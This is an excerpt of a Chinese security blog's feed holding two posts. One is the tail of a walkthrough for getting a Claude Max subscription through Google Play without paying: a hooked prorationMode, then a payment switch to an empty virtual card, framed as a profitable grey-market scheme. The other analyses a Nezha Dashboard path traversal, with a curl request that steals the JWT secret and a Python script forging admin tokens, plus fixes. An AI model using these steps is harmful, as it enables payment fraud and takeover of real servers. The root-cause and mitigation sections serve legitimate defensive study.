&lt;li&gt;&lt;strong&gt;开始日期：2026年8月20日&lt;/strong&gt;（注意，是下个月！）&lt;/li&gt;
&lt;li&gt;“我们将于 2026年8月20日向您收取第一笔费用”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;看到了吗？因为 prorationMode 被改成了 &lt;code&gt;WITHOUT_PRORATION&lt;/code&gt;，Google Play 认为&amp;quot;当前不收费，下个计费周期再扣&amp;quot;。点击订阅，立刻升级到 Max，卡上不会多扣一分钱。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第七步：善后&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;升级成功后，去 &lt;a class="link" href="https://payments.google.com" target="_blank" rel="noopener"
 &gt;payments.google.com&lt;/a&gt; 把这个订阅的支付方式换成余额钱包（Google Play 余额一般是 0）或者一张空的虚拟卡，然后解绑原来的支付卡。&lt;/p&gt;
&lt;p&gt;下个月续费的时候，余额不够或者虚拟卡扣费失败，订阅自然过期。但这一个月的 Max 你已经用上了。&lt;/p&gt;
&lt;p&gt;$20 的成本，享受 $250 的服务。利润率 1150%。&lt;/p&gt;
&lt;p&gt;有一个规模化的硬约束：&lt;strong&gt;一个 Google 账号只能给一个 Claude 账号开通订阅&lt;/strong&gt;。想批量撸就得不断囤 Google 号——这也是为什么这条灰产链的瓶颈不在技术，而在号源。&lt;/p&gt;
&lt;h2 id="0x03-为什么这个-bug-能成立"&gt;0x03 为什么这个 bug 能成立
&lt;/h2&gt;&lt;p&gt;从技术层面分析，这个漏洞能成立需要几个条件同时满足：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. prorationMode 由客户端决定&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是最根本的问题。Google Play Billing Library 的设计是把 &lt;code&gt;prorationMode&lt;/code&gt; 作为客户端参数传递给 Google Play 的计费系统。Google Play 本身不会校验&amp;quot;这个 App 有没有资格用 WITHOUT_PRORATION 模式&amp;quot;——它无条件信任客户端传来的值。&lt;/p&gt;
&lt;p&gt;这是一个经典的&lt;strong&gt;信任边界错误&lt;/strong&gt;：把安全关键参数的决定权放在了不可信的客户端侧。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 服务端验证缺位&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Claude 的后端在收到 Google Play 的订阅回调时，主要验证的是&amp;quot;这个 purchase token 是否有效&amp;quot;和&amp;quot;订阅是否 active&amp;quot;。它不会去检查 &lt;code&gt;prorationMode&lt;/code&gt; 是什么——因为这个信息在服务端回调里根本就没有。Google Play 的 &lt;code&gt;purchases.subscriptions&lt;/code&gt; API 返回的数据里不包含当初用的是哪个 proration mode。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 历史版本 APK 的可用性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;新版 Claude 可能已经做了混淆或者改变了参数传递方式，但旧版本在 Uptodown 等第三方市场永远可以下到。只要 Google Play 的 Billing API 版本还兼容，旧 APK 照样能完成订阅操作。&lt;/p&gt;
&lt;h2 id="0x04-不用-hook-的路子速刷"&gt;0x04 不用 hook 的路子：速刷
&lt;/h2&gt;&lt;p&gt;值得一提的是，prorationMode hook 并不是唯一的利用方式。圈子里还流传一种叫&amp;quot;速刷&amp;quot;的打法——不需要 Frida，不需要 hook，纯靠旧版本客户端的某些行为差异来打时间差。&lt;/p&gt;
&lt;p&gt;具体原理不在本文展开（毕竟还没被修），但核心思路类似：利用 Google Play Billing Library 旧版本在处理订阅变更时的窗口期，在扣费确认到达之前完成订阅切换。跟 prorationMode hook 相比，速刷的门槛更低（不需要 root、不需要 Frida），但成功率也更低，而且强依赖特定的历史版本 APK。&lt;/p&gt;
&lt;p&gt;这两种方法本质上攻击的是同一个面：&lt;strong&gt;Google Play 对客户端行为的过度信任&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="0x05-修复状态与后续"&gt;0x05 修复状态与后续
&lt;/h2&gt;&lt;p&gt;截至 2026 年 7 月，prorationMode hook 这个特定的攻击路径已被修复。从修复思路上猜测，可能的措施包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;客户端侧&lt;/strong&gt;：新版 Claude APK 不再使用 Bundle 明文传递 prorationMode，可能改用了加密或者服务端控制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端侧&lt;/strong&gt;：在处理升级回调时增加了额外验证（比如检查 &lt;code&gt;linkedPurchaseToken&lt;/code&gt; 的订阅金额是否合理）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Play 侧&lt;/strong&gt;：Google 可能限制了 WITHOUT_PRORATION 模式的使用场景（需要应用显式在 Google Play Console 配置）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但说实话，&lt;strong&gt;Google Play Billing 的这个攻击面远没有被堵死&lt;/strong&gt;。&lt;code&gt;prorationMode&lt;/code&gt; 只是其中一个参数，&lt;code&gt;BillingFlowParams&lt;/code&gt; 里还有其他可操控的字段。只要&amp;quot;客户端构建支付参数 → 传给 Google Play → Google Play 无条件执行&amp;quot;这个模型不变，同类问题就会持续出现。&lt;/p&gt;
&lt;p&gt;据了解，目前仍有针对其他参数或其他 App 的类似攻击手法在流通。Google Play 内购系统的安全模型，说白了就是建立在&amp;quot;客户端可信&amp;quot;这个脆弱假设上的。&lt;/p&gt;
&lt;h2 id="0x06-技术启示"&gt;0x06 技术启示
&lt;/h2&gt;&lt;p&gt;如果你是开发者，从这个漏洞可以学到：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;永远不要信任客户端传来的支付参数&lt;/strong&gt;。即使是通过 Google Play 这种&amp;quot;可信&amp;quot;中间人，底层的 &lt;code&gt;BillingFlowParams&lt;/code&gt; 仍然是客户端构造的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端必须独立验证订阅状态&lt;/strong&gt;。不要只检查 token 有效性，还要验证订阅的实际扣费金额（通过 &lt;code&gt;purchases.subscriptions&lt;/code&gt; 的 &lt;code&gt;priceAmountMicros&lt;/code&gt; 字段）与预期是否一致。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pin APK 版本&lt;/strong&gt;。如果你依赖客户端逻辑做安全控制，服务端应该检查客户端版本号，拒绝过旧版本的请求。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果你是安全研究者，这个 case 是一个很好的&amp;quot;API 信任边界&amp;quot;研究样本。Google Play Billing Library 把自己定位成&amp;quot;安全的支付中间件&amp;quot;，但它实际上信任了太多来自客户端的输入。类似 Frida hook &lt;code&gt;Bundle.putInt&lt;/code&gt; 这种低成本的攻击手段，在整个 Android 内购生态里适用面很广。&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;本文记录的是一个已修复的安全问题，旨在帮助开发者理解 Google Play 内购系统的安全边界。&lt;/p&gt;
&lt;p&gt;如果你对 Android 安全、支付系统攻防感兴趣，欢迎关注博客，后续会持续更新更多分析。&lt;/p&gt;

 &lt;/blockquote&gt;</description></item><item><title>哪吒监控路径穿越漏洞分析：一个 `/dashboard..` 拿下全站 JWT 密钥</title><link>https://blog.7qiang.com/posts/nezha-path-traversal-cve-2026-53519/</link><pubDate>Tue, 16 Jun 2026 17:00:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/nezha-path-traversal-cve-2026-53519/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 哪吒监控路径穿越漏洞分析：一个 `/dashboard..` 拿下全站 JWT 密钥" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;一分钟速读&lt;/strong&gt;：Nezha Dashboard 的路由前缀校验存在逻辑缺陷——对 &lt;code&gt;/dashboard&lt;/code&gt; 的前缀判断没有做路径段边界检查，攻击者用 &lt;code&gt;/dashboard../&lt;/code&gt; 即可逃逸出模板根目录，直达 &lt;code&gt;data/config.yaml&lt;/code&gt; 拿到 JWT 签名密钥。手里有了密钥，伪造任意用户 Token、接管整个面板的控制权就不在话下了。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="漏洞概览"&gt;漏洞概览
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;项目&lt;/th&gt;
 &lt;th&gt;详情&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;CVE 编号&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;CVE-2026-53519&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;CVSS 评分&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;9.1（Critical）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;CVSS 向量&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;影响组件&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Nezha Dashboard&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;影响版本&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&amp;lt; v2.0.13&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞类型&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;未授权路径穿越（Unauthenticated Path Traversal）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;披露时间&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;2026-05-31&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一句话总结：&lt;strong&gt;不需要登录，不需要任何前置条件，一个 GET 请求就能把整个面板的 JWT 密钥读出来。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="漏洞原理"&gt;漏洞原理
&lt;/h2&gt;&lt;h3 id="问题出在哪"&gt;问题出在哪
&lt;/h3&gt;&lt;p&gt;Nezha Dashboard 在处理静态资源时，为了隔离不同模板目录，在路由层做了一个前缀校验——检查请求路径是否以 &lt;code&gt;/dashboard&lt;/code&gt; 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。&lt;/p&gt;
&lt;p&gt;逻辑本身没问题，但实现上踩了一个经典坑：&lt;strong&gt;前缀比对没有做路径段边界检查&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Go 的 &lt;code&gt;strings.HasPrefix&lt;/code&gt; 只判断字符前缀，不关心你后面跟的是 &lt;code&gt;/&lt;/code&gt;、&lt;code&gt;..&lt;/code&gt;、还是别的什么。于是攻击者构造出这样的路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/dashboard../data/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拆开看：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/dashboard&lt;/code&gt; —— 通过了前缀检查，“合法”&lt;/li&gt;
&lt;li&gt;&lt;code&gt;../&lt;/code&gt; —— 往上跳一层，跳出模板目录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data/config.yaml&lt;/code&gt; —— 命中 Dashboard 的工作目录，拿到配置文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每一步都不违反代码的字面逻辑，但组合起来就把目录限制彻底穿透了。&lt;/p&gt;
&lt;p&gt;用伪代码理解这个缺陷：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 原始逻辑（有漏洞）&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;strings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;HasPrefix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;/dashboard&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 渲染模板文件...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tmpl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tmplRoot&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 实际解析：&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// r.URL.Path = &amp;#34;/dashboard../data/config.yaml&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// HasPrefix 返回 true ← 漏洞点&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// filepath.Join(tmplRoot, &amp;#34;/dashboard../data/config.yaml&amp;#34;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// → tmplRoot + &amp;#34;../data/config.yaml&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// → 逃逸成功&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;filepath.Join&lt;/code&gt; 会对 &lt;code&gt;..&lt;/code&gt; 做规范化处理，于是路径就从模板目录往上跳了一级，进入了 Dashboard 的工作目录——配置文件、数据库、日志，全在射程范围内。&lt;/p&gt;
&lt;h3 id="为什么说这个洞严重"&gt;为什么说这个洞&amp;quot;严重&amp;quot;
&lt;/h3&gt;&lt;p&gt;大部分路径穿越漏洞能读文件，但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 &lt;code&gt;config.yaml&lt;/code&gt;，里面躺着什么？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;jwt_secret_key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;JWT 签名密钥是&lt;strong&gt;整个认证体系的命根子&lt;/strong&gt;。有了它，攻击者可以：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;伪造任意用户 Token&lt;/strong&gt;——用泄露的密钥签名一个管理员身份的 JWT，面板直接认你为 admin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;劫持所有 Agent 通信&lt;/strong&gt;——Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权，伪造 Token 就能下发任意指令&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持久化控制&lt;/strong&gt;——密钥轮换需要重启服务且所有 Agent 重连，运维窗口期往往长达数天，这给了攻击者充裕的时间&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;CVSS 9.1 的评分拆解开来看：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AV:N&lt;/strong&gt;（网络可达）—— HTTP 端口默认暴露&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AC:L&lt;/strong&gt;（复杂度低）—— 一个 GET 请求即可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PR:N&lt;/strong&gt;（无需认证）—— 匿名访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI:N&lt;/strong&gt;（无需用户交互）—— 纯自动化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C:H / I:H&lt;/strong&gt;（机密性高 / 完整性高）—— 拿到密钥等于拿到一切&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="复现步骤"&gt;复现步骤
&lt;/h2&gt;&lt;p&gt;假设靶标环境 Nezha Dashboard 监听在 &lt;code&gt;http://target:8008&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 第一步：未授权读取配置文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -s http://target:8008/dashboard../data/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 正常响应会返回完整的 YAML 配置，其中包含：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# jwt_secret_key: &amp;#34;xxxxxx...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;拿到密钥后，用 Python 快速伪造一个管理员 JWT：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;泄露的密钥&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;user_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# admin 通常是 uid=1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;role&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;exp&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;86400&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="c1"&gt;# 7 天有效期&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;将伪造的 Token 填入浏览器 Cookie 或 Authorization Header，刷新面板页面——你已经是管理员了。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="修复方案"&gt;修复方案
&lt;/h2&gt;&lt;h3 id="升级"&gt;升级
&lt;/h3&gt;&lt;p&gt;直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了&lt;strong&gt;段感知&lt;/strong&gt;（segment-aware）的路径校验——不再是简单的字符串前缀匹配，而是确保路径被正确规范化后不会逃逸出模板根目录。&lt;/p&gt;
&lt;h3 id="临时缓解"&gt;临时缓解
&lt;/h3&gt;&lt;p&gt;如果暂时无法升级，推荐在反向代理层做路径规范化防护。以 Nginx 为例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="s"&gt;/dashboard&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 规范化 URI，折叠 ../ 等目录回溯符
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;set&lt;/span&gt; &lt;span class="nv"&gt;$safe_uri&lt;/span&gt; &lt;span class="nv"&gt;$uri&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;if&lt;/span&gt; &lt;span class="s"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$uri&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;\.\./)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
